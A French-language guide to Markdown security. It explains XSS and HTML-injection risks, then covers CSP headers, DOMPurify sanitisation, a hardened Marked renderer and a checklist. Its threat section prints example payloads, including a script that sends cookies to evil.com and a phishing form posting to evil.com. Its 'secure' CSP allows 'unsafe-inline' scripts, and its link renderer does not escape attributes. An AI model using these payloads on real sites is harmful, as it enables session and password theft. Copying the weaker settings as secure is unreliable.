Meilleures pratiques de sécurité Markdown
Bien que Markdown ressemble à du texte brut, une mauvaise gestion peut entraîner de graves vulnérabilités de sécurité. Ce guide vous montre comment gérer le contenu Markdown en toute sécurité.
Menaces de sécurité courantes
1. XSS (Cross-Site Scripting)
Markdown permet l'intégration HTML, ce qui peut être exploité pour injecter des scripts malveillants :
<!-- Dangereux : HTML non assaini -->
<script>
// Voler les cookies
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Cliquez-moi</a>2. Injection HTML
Même sans JavaScript, le HTML malveillant peut causer des dommages :
<!-- Attaque de phishing -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="Entrez le mot de passe">
<button>Connexion</button>
</form>Stratégies de défense
1. Content Security Policy (CSP)
Implémenter des en-têtes CSP stricts :
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. Assainissement HTML
Utiliser des bibliothèques d'assainissement dédiées :
DOMPurify (navigateur)
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. Configurer un parser Markdown sécurisé
Configuration sécurisée Marked
const marked = require('marked');
const renderer = {
html(html) {
// Bloquer complètement HTML
return '';
},
link(href, title, text) {
// Autoriser uniquement les protocoles sûrs
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });Liste de contrôle de sécurité
Avant le déploiement
- [ ] Activer Content Security Policy (CSP)
- [ ] Implémenter l'assainissement HTML (DOMPurify/sanitize-html)
- [ ] Désactiver ou restreindre le HTML brut
- [ ] Valider toutes les URLs et liens
- [ ] Implémenter la limitation de débit
- [ ] Ajouter protection CSRF
- [ ] Valider les téléchargements de fichiers
- [ ] Implémenter authentification et autorisation
- [ ] Définir les limites de longueur de contenu
- [ ] Activer HTTPS
- [ ] Configurer des en-têtes HTTP sécurisés
- [ ] Implémenter la journalisation et la surveillance
- [ ] Effectuer des audits de sécurité réguliers
- [ ] Maintenir les dépendances à jour
Conclusion
La sécurité Markdown ne doit pas être négligée. En mettant en œuvre des mesures appropriées d'assainissement, de validation, d'authentification et de surveillance, vous pouvez gérer en toute sécurité le contenu Markdown généré par les utilisateurs et protéger les applications et les utilisateurs contre les attaques.